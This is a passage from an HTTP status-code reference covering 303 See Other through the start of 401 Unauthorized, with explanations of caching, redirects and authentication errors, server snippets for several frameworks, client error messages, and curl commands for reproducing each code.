prevent resubmission res.redirect(303, `/order/${order.id}/confirmation`) }) app.get('/order/:id/confirmation', (req, res) => { // Safe to refresh - it's just a GET request res.render('confirmation', { orderId: req.params.id }) }) ``` **Use Absolute URLs:** ```http HTTP/1.1 303 See Other Location: https://example.com/success ✓ Absolute Location: /success ✗ Relative (works but not recommended) ``` **Include Helpful Response Body:** ```html Redirecting...

Processing Complete

Redirecting to confirmation page...

If not redirected, click here

``` **Don't Cache 303 Responses:** ```http HTTP/1.1 303 See Other Location: /result Cache-Control: no-store, no-cache Pragma: no-cache ``` ## Advanced Use Cases **RESTful API Resource Creation:** ```http POST /api/users HTTP/1.1 Content-Type: application/json {"name": "Alice", "email": "alice@example.com"} → HTTP/1.1 303 See Other Location: https://api.example.com/users/12345 Content-Type: application/json {"message": "User created", "id": 12345} ``` **Search Form Submission:** ```http POST /search HTTP/1.1 Content-Type: application/x-www-form-urlencoded query=best+practices&category=http → HTTP/1.1 303 See Other Location: /search?query=best+practices&category=http → Now shareable and bookmarkable URL ``` ## Implementation Examples **Express.js:** ```javascript app.post('/register', async (req, res) => { try { const user = await createUser(req.body) req.session.userId = user.id // PRG pattern with 303 res.redirect(303, `/welcome?name=${encodeURIComponent(user.name)}`) } catch (error) { res.status(400).render('register', { error: error.message }) } }) ``` **Django:** ```python from django.http import HttpResponseSeeOther def submit_form(request): if request.method == 'POST': # Process form form_data = process_form(request.POST) # Redirect with 303 return HttpResponseSeeOther(f'/success/{form_data.id}') return render(request, 'form.html') ``` **ASP.NET Core:** ```csharp [HttpPost] public IActionResult SubmitOrder(OrderModel order) { var orderId = _orderService.ProcessOrder(order); // 303 See Other redirect return RedirectToAction("Confirmation", "Order", new { id = orderId }, true); } ``` **PHP:** ```php if ($_SERVER['REQUEST_METHOD'] === 'POST') { $orderId = processOrder($_POST); // Send 303 redirect header('HTTP/1.1 303 See Other'); header("Location: /order/$orderId/success"); header('Cache-Control: no-store, no-cache'); exit; } ``` ## Try It Yourself Visit our [request builder](https://howhttpworks.com/tools/playground) and see a 303 redirect: 1. Set method to **POST** 2. Set path to **/form-submit** 3. Add body data: `{"name": "test", "email": "test@example.com"}` 4. Click **Send request** 5. Watch the 303 redirect to GET request ## Try it with curl Post a form, then let curl follow the redirect with `-L`. Do not add `-X POST`: `-X` forces the method on the redirected request too, which hides the behavior you are trying to see. ```bash curl -i -L -d 'name=test' https://api.example.com/forms ``` Example output (illustrative, not captured from a real server): ```http HTTP/2 303 location: /forms/17 HTTP/2 200 content-type: text/html ``` After a 303, curl sends the follow-up request as `GET` and drops the body. Pass `--post303` to keep it as `POST`, which is rarely what you want. Use `-v` to see the second request line. ## Related Status Codes - [302 Found](https://howhttpworks.com/status-codes/302) - Temporary redirect (may or may not change method) - [307 Temporary Redirect](https://howhttpworks.com/status-codes/307) - Temporary redirect preserving method - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) - Permanent redirect - [201 Created](https://howhttpworks.com/status-codes/201) - Resource successfully created --- # 304 Not Modified > Cached response is still valid. Learn how 304 Not Modified improves performance through conditional requests and caching. Source: https://howhttpworks.com/status-codes/304 Last reviewed: 2026-10-05 > **TL;DR:** 304 Not Modified means your cached copy is still valid, so the server sends no response body. Reuse that copy; if it shows stale content, compare the request validators with the current resource before clearing the cache. ## What it means When a cached response goes stale, the client revalidates instead of re-downloading. It sends the validator it saved, and the server replies 304 if the resource still matches (RFC 9110 section 15.4.5, RFC 9111 section 4.3.4). The HTTP exchange below is illustrative. ```http GET /app.css HTTP/1.1 Host: example.com If-None-Match: "abc123" If-Modified-Since: Fri, 17 Jul 2026 10:00:00 GMT HTTP/1.1 304 Not Modified ETag: "abc123" Cache-Control: max-age=3600 Date: Sun, 04 Oct 2026 12:00:00 GMT ``` The 304 has no body, and the cache merges its headers into the stored response, refreshing the freshness lifetime. Send `Content-Location`, `Date`, `ETag`, `Vary`, `Cache-Control` and `Expires` when they would appear on the equivalent 200 response. ## What you see in your client A browser's Network panel can show 304 while JavaScript receives the stored 200 response and its body. The browser's cache handles that revalidation internally. A raw HTTP client that receives 304 needs its own saved representation. - **Axios:** a raw 304 fails the default 200–299 `validateStatus` predicate, producing `AxiosError: Request failed with status code 304`. Check the [predicate](https://github.com/axios/axios/blob/v1.x/lib/defaults/index.js) and [message](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). Accept 304 only when your code retains the corresponding cached body. - **fetch:** a directly exposed 304 resolves with `response.ok === false` and no body. During normal browser cache revalidation, Fetch instead [updates and returns the stored response](https://fetch.spec.whatwg.org/#http-network-or-cache-fetch). Check `response.status` before attempting to decode a raw 304 as JSON. - **Python requests:** `raise_for_status()` returns normally and `response.ok` is `True` for 304. Its [source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status) raises only for 4xx/5xx; those properties say nothing about whether you have a saved body to reuse. - **curl `-f`:** 304 passes the [failure threshold](https://curl.se/docs/manpage.html#-f) and has no response body. `-L` adds no cache lookup: 304 supplies no redirect destination. - **.NET:** calling `EnsureSuccessStatusCode()` on 304 throws `HttpRequestException`. With the English resource string and reason phrase `Not Modified`, the message is `Response status code does not indicate success: 304 (Not Modified).` Check 304 and reuse your saved content before calling the [success guard](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/System/Net/Http/HttpResponseMessage.cs); the text comes from [.NET's resources](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring:** [`WebClient.retrieve()`](https://docs.spring.io/spring-framework/reference/web/webflux-webclient/client-retrieve.html) and [`RestTemplate`'s default handler](https://github.com/spring-projects/spring-framework/blob/main/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java) reserve their normal HTTP error exceptions for 4xx/5xx. Branch on 304 in your cache code rather than expecting `HttpClientErrorException`. ## Reproduce it with curl ```bash # 1. Get the validators curl -sI https://example.com/app.css | grep -iE 'etag|last-modified|cache-control' # 2. Send them back curl -sI https://example.com/app.css -H 'If-None-Match: "abc123"' # HTTP/2 304 # Timestamp variant curl -sI https://example.com/app.css -H 'If-Modified-Since: Fri, 17 Jul 2026 10:00:00 GMT' ``` If `If-None-Match` is present, the server must ignore `If-Modified-Since` (RFC 9110 section 13.1.3). If you get 200, compare the returned ETag with the one you sent, then check whether the handler processes conditional requests. ## Why am I never getting 304? 1. **No validator.** The response has neither `ETag` nor `Last-Modified`, so the client has nothing to send. Check your actual response headers; validator generation depends on the server and handler. 2. **ETag differs per server.** An explicit Apache `FileETag INode MTime Size` includes the local inode. Apache 2.4's [default is `MTime Size`](https://httpd.apache.org/docs/2.4/mod/core.html#fileetag). Remove `INode` from a cluster's custom setting and check that modification times match across origins. 3. **Compression rewrites the ETag.** nginx [weakens an ETag during gzip filtering](https://github.com/nginx/nginx/blob/master/src/http/modules/ngx_http_gzip_filter_module.c). Apache's [`DeflateAlterETag AddSuffix`](https://httpd.apache.org/docs/2.4/mod/mod_deflate.html#deflatealteretag) appends the compression method, and its documentation identifies this as a cause of missing 304s. Compare compressed and uncompressed responses separately; adding `W/` and changing the tag value are different operations. 4. **`Cache-Control: no-store`.** Nothing is cached, so there is nothing to revalidate. (`no-cache` still allows 304s.) 5. **The cache is still fresh.** Within `max-age` the browser serves from cache without contacting the server ("(disk cache)" in DevTools). A client can revalidate before expiry too. For a clean download in Chrome, use DevTools Network → [Disable cache](https://developer.chrome.com/docs/devtools/network/reference/#disable-cache). 6. **`Vary` mismatch.** If request headers named in `Vary` differ, the stored entry is not eligible. 7. **A CDN or middleware strips conditional headers**, or your handler ignores them and always builds a full 200. ## Implementation ### Express With its default weak ETag setting, Express generates tags for `res.send` and `res.json`; its [default configuration](https://github.com/expressjs/express/blob/master/lib/application.js) and [response source](https://github.com/expressjs/express/blob/master/lib/response.js) changes fresh conditional responses to 304. Avoid hand-rolled string equality; `req.fresh` implements the comparison, including tag lists and `*`: ```javascript app.get('/api/data', (req, res) => { res.set('Cache-Control', 'private, max-age=0, must-revalidate') res.json(getData()) // ETag is generated; Express sends 304 when req.fresh }) ``` ### nginx ```nginx location /static/ { etag on; # default if_modified_since exact; # default expires 1h; } ``` ### PHP ```php $lastModified = filemtime('data.json'); header('Last-Modified: ' . gmdate('D, d M Y H:i:s', $lastModified) . ' GMT'); $since = isset($_SERVER['HTTP_IF_MODIFIED_SINCE']) ? strtotime($_SERVER['HTTP_IF_MODIFIED_SINCE']) : 0; $method = $_SERVER['REQUEST_METHOD']; if (($method === 'GET' || $method === 'HEAD') && !isset($_SERVER['HTTP_IF_NONE_MATCH']) && $since > 0 && $since >= $lastModified) { http_response_code(304); exit; } if ($method !== 'HEAD') { readfile('data.json'); } ``` ## Common causes by stack **Express:** `res.json(data)` can become 304 when `req.fresh` matches the generated ETag. Inspect the incoming `If-None-Match` and outgoing tag before disabling caching. [`req.fresh`](https://expressjs.com/en/5x/api/request/#req.fresh) returns false for a request carrying `Cache-Control: no-cache`, which can explain a full 200 during debugging. **nginx / Apache:** nginx's [`etag on` and `if_modified_since exact`](https://nginx.org/en/docs/http/ngx_http_core_module.html#if_modified_since) are static-file defaults. Apache uses [`FileETag MTime Size`](https://httpd.apache.org/docs/2.4/mod/core.html#fileetag). If identical deployments produce different tags, compare file modification times and custom ETag settings on each origin. **Django:** [`ConditionalGetMiddleware`](https://docs.djangoproject.com/en/5.2/ref/middleware/#module-django.middleware.http) can replace a matching GET response with `HttpResponseNotModified`. The [`condition(etag_func=..., last_modified_func=...)` decorator](https://docs.djangoproject.com/en/5.2/topics/conditional-view-processing/) can check validators before building the view; use it when generating the body is expensive. **Spring MVC / Spring Boot:** `ResponseEntity.ok().eTag(version).body(data)` supports conditional validation. [`WebRequest.checkNotModified(...)`](https://docs.spring.io/spring-framework/reference/web/webmvc/mvc-caching.html) lets a controller return early when the validator matches. Ensure the version changes whenever the returned representation changes. **Cloudflare Workers:** [`cache.match(request)`](https://developers.cloudflare.com/workers/runtime-apis/cache/#match) can return 304 for matching `If-None-Match` or `If-Modified-Since` conditions on a stored response. This lookup stays in the cache; inspect the Worker cache key and validators when the origin has no corresponding request in its logs. ## Debugging stale content behind a 304 Compare a conditional request with an unconditional GET to the same URL. Keep `Accept-Encoding` and any headers named in `Vary` identical so you compare the same representation. The first command sends a saved tag; the second requests a body without that condition: ```bash curl -si https://example.com/app.css -H 'If-None-Match: "abc123"' curl -sS -D /tmp/app-css-headers.txt -o /tmp/app.css https://example.com/app.css grep -iE '^(etag|last-modified|cache-control|vary):' /tmp/app-css-headers.txt ``` If the second response contains changed bytes but the old tag, fix the origin's validator generation. Clearing one browser's cache only removes that client's saved copy; every other client can continue presenting the same tag. If an application manually added `If-None-Match` without saving the original body, remove that condition and retrieve the resource before attempting revalidation. Matching tags and the retained representation must travel together in your cache. ## Rules for servers - A 304 has no body; the message ends after the headers. - `If-None-Match` and `If-Modified-Since` produce 304 only for GET and HEAD. For other methods a failed `If-None-Match` returns [412](https://howhttpworks.com/status-codes/412). - Include the validators and caching headers a 200 would carry. ## 304 vs related | Code | Meaning | Body | | ---- | --------------------------------------- | ----- | | 304 | Cached copy still valid | None | | 200 | Changed, or no conditional sent | Full | | 412 | `If-Match`/`If-Unmodified-Since` failed | Error | More in [304 vs 200](https://howhttpworks.com/compare/304-vs-200). ## Related - [200 OK](https://howhttpworks.com/status-codes/200) - [412 Precondition Failed](https://howhttpworks.com/status-codes/412) - [ETag header](https://howhttpworks.com/headers/etag) - [Last-Modified header](https://howhttpworks.com/headers/last-modified) - [Cache-Control header](https://howhttpworks.com/headers/cache-control) --- # 307 Temporary Redirect > Temporary redirect that preserves the HTTP method. Learn when to use 307 instead of 302 for method-sensitive redirects. Source: https://howhttpworks.com/status-codes/307 Last reviewed: 2026-10-04 > **TL;DR:** 307 Temporary Redirect is 302 with a guarantee: the client must repeat the same method and body at the new `Location`. Use it for temporary redirects of POST/PUT/DELETE; use 303 when you want the follow-up to be a GET. ## What it means ```http POST /api/orders HTTP/1.1 Host: api.example.com Content-Type: application/json {"sku":"A1","qty":2} HTTP/1.1 307 Temporary Redirect Location: https://api-eu.example.com/api/orders ``` The client resends `POST /api/orders` with the same JSON body to the new host (RFC 9110 section 15.4.8). With a 302, browsers and many HTTP libraries switch to GET and drop the body. Like 302, a 307 is not cacheable unless the response carries explicit freshness headers. ## The 307 you did not send Chrome DevTools shows `307 Internal Redirect` with `Non-Authoritative-Reason: HSTS` when the browser upgrades `http://` to `https://` by itself because of a cached `Strict-Transport-Security` policy. No network request happens and no server is involved, so server config cannot fix it. Clear the entry at `chrome://net-internals/#hsts` or correct the policy. See [Strict-Transport-Security](https://howhttpworks.com/headers/strict-transport-security). ## Redirect behavior matrix | Code | POST becomes GET? | Permanent | Typical use | | ---- | ----------------- | --------- | -------------------------------- | | 301 | Usually yes | Yes | Moved pages | | 302 | Usually yes | No | Login and promo redirects | | 303 | Always | No | After a POST, show a result page | | 307 | Never | No | Temporary API/endpoint redirect | | 308 | Never | Yes | Endpoint moved for good | Compare in detail: [302 vs 307](https://howhttpworks.com/compare/302-vs-307). ## Gotchas - **Request bodies must be replayable.** A client that streamed a large upload may be unable to resend it, and some libraries fail with an error rather than follow the 307. curl replays the body. - **Credentials on cross-origin redirects.** Browsers and most HTTP libraries strip `Authorization` when a redirect leaves the origin, so authenticated calls can arrive at the new host as 401. - **CORS preflight.** A preflight (OPTIONS) response must not be a redirect; browsers reject it with "Redirect is not allowed for a preflight request". Redirect the actual request, not the OPTIONS. - **No SEO transfer.** Search engines treat 307 as temporary, like 302. - **Next.js:** `permanent: false` in `redirects()` sends 307; `permanent: true` sends 308. ## Implementation ### Express ```javascript app.post('/api/orders', (req, res) => { res.redirect(307, 'https://api-eu.example.com/api/orders') }) ``` ### nginx ```nginx location /api/ { return 307 https://api-eu.example.com$request_uri; } ``` ### Cloudflare Choose status code 307 in a Single Redirect rule or a Bulk Redirect to preserve the method. ## Reproduce with curl ```bash curl -si -L -X POST -H 'Content-Type: application/json' \ -d '{"sku":"A1","qty":2}' https://api.example.com/api/orders ``` Add `-v` and confirm the second request line still reads `POST` and carries the body. ## Related - [302 Found](https://howhttpworks.com/status-codes/302) - [303 See Other](https://howhttpworks.com/status-codes/303) - [308 Permanent Redirect](https://howhttpworks.com/status-codes/308) - [Location header](https://howhttpworks.com/headers/location) --- # 308 Permanent Redirect > Permanent redirect that preserves the HTTP method. Learn when to use 308 instead of 301 for method-sensitive permanent redirects. Source: https://howhttpworks.com/status-codes/308 Last reviewed: 2026-10-04 > **TL;DR:** 308 Permanent Redirect is 301 with a guarantee: the client must repeat the same method and body at the new `Location`, and the move is permanent and cacheable. Use it when an API endpoint or form target moves and POST must stay POST. ## What it means ```http PUT /v1/users/42 HTTP/1.1 Host: api.example.com HTTP/1.1 308 Permanent Redirect Location: https://api.example.com/v2/users/42 ``` The client retries `PUT /v2/users/42` with the same body (RFC 9110 section 15.4.9, originally RFC 7538). Like 301, it is cacheable by default, so clients may skip the old URL afterwards. ## 301 or 308? - **Moving GET pages for SEO:** either works. Google treats 301 and 308 as the same permanent signal. 301 is the more common choice and understood by every tool. - **Anything with a request body** (POST, PUT, PATCH, DELETE): use 308. A 301 lets clients turn POST into GET, silently dropping the body and often producing a confusing 404 or 405 at the new URL. - **Next.js `redirects()` with `permanent: true`** emits 308, not 301. - A few very old clients and embedded SDKs do not understand 308 and do not follow it. Rare today, but check legacy integrations. ## Gotchas - **Caching makes mistakes sticky.** Browsers cache 308 like 301. Test with [307](https://howhttpworks.com/status-codes/307) first and switch once certain, or bound it with `Cache-Control: max-age=...`. - **Request bodies must be replayable**; streaming uploads often cannot follow a 308 automatically. - **Cross-origin redirects drop `Authorization`** in browsers and most clients, so authenticated API calls may reach the new host as 401. - **Preflight requests cannot be redirected.** A CORS preflight answered with 308 fails with "Redirect is not allowed for a preflight request". ## Implementation ### nginx ```nginx location /v1/ { return 308 https://api.example.com/v2$request_uri; } ``` ### Express ```javascript // Express 5 syntax; in Express 4 use '/v1/*' app.all('/v1/*splat', (req, res) => { res.redirect(308, `/v2${req.originalUrl.slice(3)}`) }) ``` ### Apache ```apache RedirectMatch 308 ^/v1/(.*)$ /v2/$1 ``` ## Reproduce with curl ```bash curl -sI https://api.example.com/v1/users/42 # HTTP/2 308 # location: https://api.example.com/v2/users/42 # Confirm the method survives the hop curl -sv -L -X POST -d '{"a":1}' -H 'Content-Type: application/json' \ https://api.example.com/v1/users 2>&1 | grep -E '^> (POST|GET)' ``` Both request lines should be `POST`. If the second is `GET`, the redirect was a 301/302 or the client rewrote it. ## Migration plan 1. Ship the new endpoint and keep the old one answering 308 to it. 2. Log traffic still hitting the old path and announce a deprecation date. 3. Update SDKs and docs to the new URL. 4. Only after traffic drops, consider returning [410 Gone](https://howhttpworks.com/status-codes/410). ## Related - [301 Moved Permanently](https://howhttpworks.com/status-codes/301) - [307 Temporary Redirect](https://howhttpworks.com/status-codes/307) - [Location header](https://howhttpworks.com/headers/location) - [301 vs 302](https://howhttpworks.com/compare/301-vs-302) --- # 400 Bad Request > 400 Bad Request means the server could not parse your request. Find which layer sent it, fix bad JSON and oversized cookies or headers, and reproduce with curl. Source: https://howhttpworks.com/status-codes/400 Last reviewed: 2026-10-05 > **TL;DR:** 400 Bad Request means the server, or a proxy in front of it, could not parse or accept the request as sent: broken JSON, an invalid header, an oversized cookie, or a body that fails validation. Find out which layer returned it, then replay the exact request with `curl -v` and bisect. RFC 9110 section 15.5.1 covers perceived client errors, including malformed syntax, invalid message framing and deceptive routing. Because it is a catch-all, the response body and the `Server` header tell you more than the status line. The messages and response bodies here are illustrative. Client messages use `https://api.example.com/resource`; reason phrases and URLs can vary. ```http HTTP/1.1 400 Bad Request Server: nginx Content-Type: text/html 400 Bad Request

400 Bad Request

Request Header Or Cookie Too Large

nginx
``` ## What you see in your client - **Axios:** `AxiosError: Request failed with status code 400` with the default status handling. Inspect `error.response.data` for the server's explanation. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 400` and `response.ok === false`. Check the status before reading the body; HTTP errors do not enter `catch` automatically. [MDN fetch](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 400 Client Error: Bad Request for url: https://api.example.com/resource` when you call `response.raise_for_status()`. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl -f:** `curl: (22) The requested URL returned error: 400`. Use `curl -i` without `-f` while inspecting the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `HttpRequestException` with the English message `Response status code does not indicate success: 400 (Bad Request).` after `EnsureSuccessStatusCode()`. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `WebClientResponseException$BadRequest: 400 Bad Request from POST https://api.example.com/resource` with `retrieve()`. Read `getResponseBodyAsString()`. [Spring 6.2 source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java). - **Spring RestTemplate (6.2):** `HttpClientErrorException$BadRequest: 400 Bad Request on POST request for "https://api.example.com/resource": [no body]` with the default error handler and an empty response body. Read the exception body when present. [Message builder](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java), [exception subclasses](https://docs.spring.io/spring-framework/docs/6.2.x/javadoc-api/org/springframework/web/client/HttpClientErrorException.html). ## Who sent it? | Signal | Likely source | | --- | --- | | HTML page with `
nginx
` and a reason line | nginx rejected it before your app ran | | `Bad Request - Invalid Hostname` or `Bad Request - Invalid URL` | IIS / HTTP.sys | | `Bad Request: Your browser sent a request that this server could not understand.` | Apache httpd | | `CF-Ray` header and a Cloudflare-styled page | Cloudflare edge | | `Server: awselb/2.0` | AWS ALB (malformed request or header limits) | | JSON body with field-level errors | Your application's validation layer | | `SyntaxError: Expected double-quoted property name in JSON at position 17` (older Node: `Unexpected token } in JSON`) | `express.json()` body parser | nginx reason lines you will see in the page body, with the matching error-log text: - `Request Header Or Cookie Too Large`: `large_client_header_buffers` (default `4 8k`) was exceeded, usually by accumulated cookies. Log: `client sent too long header line` or `client sent request with too large header`. - `The plain HTTP request was sent to HTTPS port`: someone spoke HTTP to a `listen 443 ssl` port. Fix the scheme or port. - `No required SSL certificate was sent`: `ssl_verify_client on` and the client presented no certificate. ## Fix it, most common first 1. **Malformed JSON.** A trailing comma, single quotes, comments, or an unescaped newline. Validate with `jq . < body.json`. In shells, quoting is the usual culprit: `-d '{"a":1}'` works, `-d "{"a":1}"` does not. 2. **Content-Type does not match the body.** curl's `-d` sends `application/x-www-form-urlencoded`. Form parsers can leave JSON fields missing and trigger validation; JSON-only endpoints can instead return [415](https://howhttpworks.com/status-codes/415). Add `-H 'Content-Type: application/json'`. 3. **Cookies too big.** Clear cookies for the domain. If it is your site, find what is writing large cookies: the combined `Cookie` header has to fit the server's per-header buffer. 4. **Invalid Host or URL characters.** Unencoded spaces, `%` not followed by two hex digits, or non-ASCII bytes in the request line. 5. **Framing guards.** Both `Content-Length` and `Transfer-Encoding` present, or conflicting duplicate `Content-Length` values. Servers reject or close these (RFC 9112 section 6.3) to block request smuggling; fix the client or the proxy that rewrites them. 6. **Schema validation failure.** Missing required field or wrong type. Many APIs use [422](https://howhttpworks.com/status-codes/422) for this instead. ## Common causes by stack - **ASP.NET Core controllers:** `[ApiController]` returns 400 automatically for model validation failures, with an `errors` dictionary in `ValidationProblemDetails`; read those keys before changing the serializer. [Microsoft API documentation](https://learn.microsoft.com/en-us/aspnet/core/web-api/#automatic-http-400-responses). - **Django REST framework:** `ParseError` and serializer `ValidationError` both default to 400; distinguish broken JSON from a field validation message in the response body. [DRF exceptions](https://www.django-rest-framework.org/api-guide/exceptions/). - **Rails:** `ActionController::ParameterMissing` and `ActionDispatch::Http::Parameters::ParseError` map to 400; inspect the required parameter and send the expected JSON nesting. [Rails exception mappings](https://github.com/rails/rails/blob/main/actionpack/lib/action_dispatch/middleware/exception_wrapper.rb). - **API Gateway REST APIs:** `BAD_REQUEST_BODY` and `BAD_REQUEST_PARAMETERS` default to 400 when request validation fails; compare the payload with the method's model and required parameters. [Gateway response types](https://docs.aws.amazon.com/apigateway/latest/developerguide/supported-gateway-response-types.html). ## Fix by stack ### nginx ```nginx http { client_header_buffer_size 4k; large_client_header_buffers 4 16k; # number and size; one header line must fit in one buffer } ``` ### Express / Node.js `express.json()` throws on invalid JSON, and the default error handler answers 400 with an HTML stack trace outside production. Return JSON instead: ```javascript app.use(express.json({ limit: '1mb' })) app.use((err, req, res, next) => { if (err.type === 'entity.parse.failed') { return res.status(400).json({ error: 'invalid_json', message: err.message }) } next(err) }) ``` Node's HTTP parser tries to return 400 and close the socket for parse errors, but `HPE_HEADER_OVERFLOW` gets [431](https://howhttpworks.com/status-codes/431) by default. These errors reach `clientError` before your request handler; inspect `err.code`. [Node HTTP documentation](https://nodejs.org/api/http.html#event-clienterror). ### Spring and Django Spring returns 400 for `HttpMessageNotReadableException` (`JSON parse error: Unexpected character`) and for `MethodArgumentNotValidException` when `@Valid` fails. Django turns `SuspiciousOperation` into 400; the classic one is `Invalid HTTP_HOST header: 'x'. You may need to add 'x' to ALLOWED_HOSTS.` with `DEBUG = False`. ### Cloudflare and AWS Cloudflare documents 400 for requests containing both `Content-Length` and `Transfer-Encoding`; inspect the framing headers added by each proxy. [Cloudflare 400 guidance](https://developers.cloudflare.com/support/troubleshooting/http-status-codes/4xx-client-error/error-400/). An ALB returns 400 for malformed requests, an incomplete body, or headers exceeding its documented limits: 16 K for a request line, 16 K for one header and 64 K for all request headers. Compare the browser's cookies with a cookie-free request. [ALB troubleshooting](https://docs.aws.amazon.com/elasticloadbalancing/latest/application/load-balancer-troubleshooting.html). ## Reproduce and verify ```bash # Bad JSON: a well-behaved parser answers 400 curl -sv -X POST https://api.example.com/users \ -H 'Content-Type: application/json' \ -d '{"name": "John",}' 2>&1 | grep -E '^(>|<) ' # Oversized cookie: nginx answers 400 "Request Header Or Cookie Too Large" curl -s -o /dev/null -w '%{http_code}\n' https://example.com/ \ -H "Cookie: junk=$(head -c 9000 /dev/zero | tr '\0' a)" ``` If the request works from curl but fails from the browser, diff the headers: the browser is sending cookies, `Origin`, or a body encoding that curl is not. ## Write a useful 400 body RFC 9457 `application/problem+json` is the standard shape for API errors: ```http HTTP/1.1 400 Bad Request Content-Type: application/problem+json { "type": "https://api.example.com/problems/invalid-json", "title": "Request body is not valid JSON", "status": 400, "detail": "Unexpected token '}' at position 45" } ``` Use 404 for missing resources, 401/403 for authentication or permission failures, and 5xx for server faults. ## 400 vs its neighbors Use 400 when the request cannot be parsed (syntax or framing) and [422 Unprocessable Content](https://howhttpworks.com/status-codes/422) when it parses but fails semantic validation. Many APIs return 400 for both; consistency matters more than the choice. A header block that is too large has its own code, [431](https://howhttpworks.com/status-codes/431), though nginx still uses 400 for it. See also [401](https://howhttpworks.com/status-codes/401), [403](https://howhttpworks.com/status-codes/403) and [404](https://howhttpworks.com/status-codes/404). You can trigger a 400 safely in the [request builder](https://howhttpworks.com/tools/playground). See also the comparison [400 vs 422](https://howhttpworks.com/compare/400-vs-422): which of the two to return for validation errors and what common frameworks default to. --- # HTTP 401 Unauthorized: Authentication Required > 401 Unauthorized means missing or invalid credentials. Read WWW-Authenticate, check the Authorization header, token expiry and proxies, with fixes by stack. Source: https://howhttpworks.com/status-codes/401 Last reviewed: 2026-10-05 > **TL;DR:** 401 Unauthorized means you need valid login credentials to access this URL. Read `WWW-Authenticate`, then check that your `Authorization` header reaches the server with the expected scheme and an unexpired token for this API. Despite the name, 401 is about authentication ("who are you?"), not authorization. RFC 9110 section 15.5.2 says the server "MUST generate a WWW-Authenticate header field" containing at least one challenge. If credentials were accepted but the user is not allowed in, the correct code is [403](https://howhttpworks.com/status-codes/403). The messages and response bodies here are illustrative. Client messages use `https://api.example.com/resource`; reason phrases and URLs can vary. ```http HTTP/1.1 401 Unauthorized WWW-Authenticate: Bearer realm="api", error="invalid_token", error_description="The access token expired" Content-Type: application/json {"error":"invalid_token"} ``` ## What you see in your client - **Axios:** `AxiosError: Request failed with status code 401` with the default status handling. Inspect `error.response.data` for the server's explanation. [Axios source](https://github.com/axios/axios/blob/v1.x/lib/core/settle.js). - **fetch:** the promise resolves with `response.status === 401` and `response.ok === false`. Check the status before reading the body; HTTP errors do not enter `catch` automatically. [MDN fetch](https://developer.mozilla.org/en-US/docs/Web/API/Window/fetch). - **Python requests:** `requests.exceptions.HTTPError: 401 Client Error: Unauthorized for url: https://api.example.com/resource` when you call `response.raise_for_status()`. [Requests source](https://requests.readthedocs.io/en/latest/_modules/requests/models/#Response.raise_for_status). - **curl -f:** `curl: (22) The requested URL returned error: 401`. Use `curl -i` without `-f` while inspecting the error body. [curl source](https://github.com/curl/curl/blob/master/lib/http.c). - **.NET:** `HttpRequestException` with the English message `Response status code does not indicate success: 401 (Unauthorized).` after `EnsureSuccessStatusCode()`. [Runtime message template](https://github.com/dotnet/runtime/blob/main/src/libraries/System.Net.Http/src/Resources/Strings.resx). - **Spring WebClient:** `WebClientResponseException$Unauthorized: 401 Unauthorized from POST https://api.example.com/resource` with `retrieve()`. Read `getResponseBodyAsString()`. [Spring 6.2 source](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-webflux/src/main/java/org/springframework/web/reactive/function/client/WebClientResponseException.java). - **Spring RestTemplate (6.2):** `HttpClientErrorException$Unauthorized: 401 Unauthorized on POST request for "https://api.example.com/resource": [no body]` with the default error handler and an empty response body. Read the exception body when present. [Message builder](https://github.com/spring-projects/spring-framework/blob/6.2.x/spring-web/src/main/java/org/springframework/web/client/DefaultResponseErrorHandler.java), [exception subclasses](https://docs.spring.io/spring-framework/docs/6.2.x/javadoc-api/org/springframework/web/client/HttpClientErrorException.html). ## Who sent it? Read the `WWW-Authenticate` value first; it names the layer's expectations. | Header seen | Meaning | | --- | --- | | `Basic realm="..."` | Browser shows a login dialog. Often nginx `auth_basic`, Apache `AuthType Basic`, or a staging password | | `Bearer error="invalid_token"` | Your API validated the token and rejected it (expired, wrong signature, wrong audience). Format is RFC 6750 section 3 | | `Bearer` with no `error` | A Bearer challenge; inspect whether your request included credentials | | `Negotiate` / `NTLM` | Windows or Kerberos auth on IIS or a corporate proxy | | No `WWW-Authenticate` at all | The server is breaking the spec; some gateways (and API Gateway authorizers) do this. Look at `Server`, `Via` and `X-Amzn-ErrorType: UnauthorizedException` to find the layer | | `Proxy-Authenticate` and status 407 | A forward proxy wants credentials, not the origin. See [Proxy-Authenticate](https://howhttpworks.com/headers/proxy-authenticate) | ## Fix it, most common first 1. **Header never arrives.** Log whether it is present and which scheme it uses; keep the token out of logs. Cross-origin browser requests with `Authorization` trigger a preflight that must list it in `Access-Control-Allow-Headers`; otherwise the browser never sends it. A cross-origin redirect strips `Authorization` in fetch; curl also restricts credentials when following redirects. [Fetch redirect rules](https://fetch.spec.whatwg.org/#http-redirect-fetch), [curl manual](https://curl.se/docs/manpage.html#-L). 2. **Wrong scheme or format.** The header must be `Authorization: Bearer ` using the usual single-space format. RFC 6750 permits one or more spaces; authentication scheme names are case-insensitive. Common slips: `Bearer Bearer abc`, a surrounding quote, a literal `undefined`, a trailing newline from a file read, `Token` or `JWT` where the API expects `Bearer`. 3. **Expired token.** Read the JWT payload with a local decoder that supports base64url, and compare `exp` with `date +%s`. Refresh once, then retry once; do not loop. 4. **Clock skew.** Compare the issuer and validator clocks when `exp` or `nbf` fails. Configure the validator's documented clock tolerance; `jsonwebtoken` exposes `clockTolerance` in seconds. [Library 